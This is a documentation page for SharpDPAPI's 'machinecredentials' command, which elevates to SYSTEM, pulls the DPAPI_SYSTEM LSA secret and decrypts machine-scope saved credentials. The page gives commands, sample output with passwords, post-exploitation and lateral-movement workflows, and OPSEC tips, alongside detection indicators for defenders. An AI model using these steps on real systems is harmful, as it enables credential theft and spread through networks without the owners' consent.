machinecredentials

Overview

The machinecredentials command elevates to SYSTEM, retrieves the DPAPI_SYSTEM LSA secret, decrypts machine masterkeys, and uses them to decrypt all machine-scope Credential Manager files. This reveals credentials for scheduled tasks, services, and system-level saved passwords.

Machine credentials are stored in system profile directories and protected with machine-scope DPAPI, containing high-value credentials for scheduled tasks and service accounts.

Basic Usage

# Decrypt machine credentials (requires elevation)
SharpDPAPI.exe machinecredentials

This command requires elevation (Administrator privileges) to:

Elevate to SYSTEM via token duplication
Retrieve the DPAPI_SYSTEM LSA secret
Access system credential files

How It Works

Elevation to SYSTEM

Duplicates a SYSTEM token to elevate privileges

DPAPI_SYSTEM Retrieval

Retrieves the DPAPI_SYSTEM LSA secret

Masterkey Decryption

Decrypts all machine DPAPI masterkeys using DPAPI_SYSTEM

Credential Discovery

Locates machine credential files in system directories

Credential Decryption

Decrypts each credential file using machine masterkeys

Credential File Locations

Machine credentials are stored in:

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\
C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials\
C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Credentials\

Example Output

SharpDPAPI.exe machinecredentials

Output:

[*] Action: Machine DPAPI Credential Triage

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
{0bd732d9-c396-4f9a-a69a-508632c05235}:8A9F2C1D3E4B5C6A7D8E9F0A1B2C3D4E5F6A7B8C

[*] Triaging System Credentials

Folder       : C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Credentials

  CredFile           : C73A55F92FAE222C18A8989FEA28A1FE

    guidMasterKey    : {1cb83cb5-96cd-445d-baac-49e97f4eeb72}
    size             : 544
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32782/26128
    description      : Local Credential Data

    LastWritten      : 3/24/2019 7:08:43 PM
    TargetName       : Domain:batch=TaskScheduler:Task:{B745BF75-D62D-4B1C-84ED-F0437214ECED}
    TargetAlias      :
    Comment          :
    UserName         : TESTLAB\harmj0y
    Credential       : Password123!


Folder       : C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials

  CredFile           : DFBE70A7E5CC19A398EBF1B96859CE5D

    guidMasterKey    : {0bd732d9-c396-4f9a-a69a-508632c05235}
    size             : 412
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32782/26128
    description      : Local Credential Data

    LastWritten      : 5/15/2019 9:22:11 AM
    TargetName       : Domain:target=TERMSRV/10.10.10.50
    TargetAlias      :
    Comment          :
    UserName         : DOMAIN\service_account
    Credential       : P@ssw0rd!

Types of Machine Credentials Found

Scheduled Task Credentials

TargetName: Domain:batch=TaskScheduler:Task:{GUID}

Credentials for tasks running as specific users
Domain and local account passwords
Service account credentials
Automated job credentials

Why Valuable:

Often domain admin or privileged accounts
Used for administrative automation
Long-lived credentials

Service Account Credentials

Various TargetNames

Windows service account passwords
Application pool identities
Background process credentials
System service accounts

Why Valuable:

Elevated privileges common
Network access credentials
Database access accounts

RDP Saved Credentials

TargetName: Domain:target=TERMSRV/HOSTNAME

Saved Remote Desktop passwords
System-level RDP credentials
Service account RDP access
Jump box credentials

Why Valuable:

Lateral movement credentials
Administrative access
Server-to-server connections

Network Authentication

TargetName: Various network targets

Network share credentials
SQL Server connections
Web service authentication
API credentials

Why Valuable:

Network resource access
Database credentials
Internal service accounts

Common Scenarios

Post-Exploitation Credential Gathering

After gaining admin access:

# Extract machine credentials
SharpDPAPI.exe machinecredentials

# Look for high-value credentials:
# - Scheduled tasks (Domain:batch=TaskScheduler)
# - RDP connections (TERMSRV)
# - Service accounts
# - Network resource access

Scheduled Task Enumeration

Find and correlate task credentials:

# 1. Extract credentials
SharpDPAPI.exe machinecredentials

# 2. List scheduled tasks
schtasks /query /fo LIST /v

# 3. Correlate task GUIDs with credentials
# Look for TargetName: Domain:batch=TaskScheduler:Task:{GUID}

# 4. Find task details
schtasks /query /tn "\Task\Name" /v

Service Account Discovery

Identify service credentials:

# 1. Extract machine credentials
SharpDPAPI.exe machinecredentials

# 2. Enumerate services
sc.exe query state= all

# 3. Check service configurations
sc.exe qc ServiceName

# 4. Correlate service accounts with found credentials

Lateral Movement Preparation

Collect credentials for lateral movement:

# Extract credentials
SharpDPAPI.exe machinecredentials

# Test discovered credentials:
# - RDP access (TERMSRV entries)
# - Network shares
# - Remote services
# - Database connections

Credential Flags

The flags field indicates protection scope:

Flag	Value	Description
CRYPTPROTECT_SYSTEM	0x20000000	System credential protection
CRYPTPROTECT_UI_FORBIDDEN	0x1	No UI prompts allowed
CRYPTPROTECT_LOCAL_MACHINE	0x4	Machine-scope protection

Machine credentials typically have the CRYPTPROTECT_SYSTEM flag (0x20000000).

Scheduled Task GUID Correlation

Match credential GUIDs to tasks:

# Get all scheduled tasks with GUIDs
Get-ScheduledTask | ForEach-Object {
    $task = $_
    $info = Get-ScheduledTaskInfo -TaskName $task.TaskName -ErrorAction SilentlyContinue
    [PSCustomObject]@{
        Name = $task.TaskName
        Path = $task.TaskPath
        User = $task.Principal.UserId
        LastRun = $info.LastRunTime
        NextRun = $info.NextRunTime
    }
}

# Find task by GUID from credential TargetName
# The GUID is in format: Task:{GUID}

Detection Considerations

Machine credential extraction is a high-privilege operation that should trigger security monitoring.

Host-Based Indicators:

Elevation to SYSTEM privileges
LSA secret retrieval (DPAPI_SYSTEM)
Access to system profile credential directories
Bulk credential file reading
Token duplication activity

Event Log Indicators:

Event ID: 4624 (Logon)
Logon Type: 3 (Network)
Account Name: SYSTEM

Event ID: 4656/4663 (Object Access)
Object Name: *\SystemProfile\AppData\Local\Microsoft\Credentials\*
Object Name: *\ServiceProfiles\*\Credentials\*
Object Name: LSA Secrets

Event ID: 4673 (Privileged Service Called)
Privileges: SeDebugPrivilege, SeImpersonatePrivilege

Defensive Monitoring:

Monitor SYSTEM token impersonation
Alert on LSA secret access (DPAPI_SYSTEM)
Track access to system credential directories
Detect bulk credential file enumeration
Monitor SharpDPAPI or similar tool execution

machinemasterkeys

Extract machine masterkeys first

machinevaults

Decrypt machine vault data

machinetriage

Comprehensive machine DPAPI triage

credentials

Decrypt user credentials

Tips

Maximizing Credential Value

Focus on scheduled task credentials (often privileged)
Correlate task GUIDs with task details
Test RDP credentials immediately
Check service account privileges
Look for domain accounts vs local

OPSEC Considerations

Requires elevation (high visibility)
SYSTEM privilege elevation generates events
LSA secret access triggers alerts
Consider timing and detection capabilities
May trigger EDR behavioral detections

Troubleshooting

Access denied:

Need Administrator privileges
UAC may block elevation
Security software may prevent SYSTEM access
Try running as SYSTEM directly

No credentials found:

System may not have saved machine credentials
Credentials may be in vault instead
Check ServiceProfiles directories
Scheduled tasks may use group policy credentials

Partial decryption:

Some credentials may use different masterkeys
Verify DPAPI_SYSTEM was retrieved correctly
Check all system profile directories

Correlating with System Activity

Scheduled Tasks:

# View task details with credentials
Get-ScheduledTask | Where-Object {$_.Principal.UserId -ne "SYSTEM"} |
  Select-Object TaskName, @{N='User';E={$_.Principal.UserId}}

Windows Services:

# Services running as domain accounts
Get-WmiObject Win32_Service |
  Where-Object {$_.StartName -like "*\*" -and $_.StartName -ne "LocalSystem"} |
  Select-Object Name, DisplayName, StartName, State

Process Credentials:

# Processes running as specific accounts
Get-Process -IncludeUserName |
  Where-Object {$_.UserName -like "*\*"} |
  Group-Object UserName |
  Select-Object Name, Count

Understanding Credential Context

Machine credentials are saved when:

Scheduled Task Creation:
- Task configured to run as specific user
- Password saved in Credential Manager
- Protected with machine masterkey
Service Installation:
- Service configured with service account
- Credentials stored for service startup
- Machine-scope DPAPI protection
System-Level Operations:
- Administrative tools saving credentials
- Backup software credentials
- Monitoring tools
- Remote management tools

Getting Started

User Triage Commands

Machine Triage Commands

Utility Commands

SharpChrome

Overview

Basic Usage

How It Works

Credential File Locations

Example Output

Types of Machine Credentials Found

Common Scenarios

Credential Flags

Scheduled Task GUID Correlation

Detection Considerations

machinemasterkeys

machinevaults

machinetriage

credentials

Tips

Correlating with System Activity

Understanding Credential Context

​Overview

​Basic Usage

​How It Works

​Credential File Locations

​Example Output

​Types of Machine Credentials Found

​Common Scenarios

​Credential Flags

​Scheduled Task GUID Correlation

​Detection Considerations

​Related Commands

machinemasterkeys

machinevaults

machinetriage

credentials

​Tips

​Correlating with System Activity

​Understanding Credential Context

Overview

Basic Usage

How It Works

Credential File Locations

Example Output

Types of Machine Credentials Found

Common Scenarios

Credential Flags

Scheduled Task GUID Correlation

Detection Considerations

Related Commands

Tips

Correlating with System Activity

Understanding Credential Context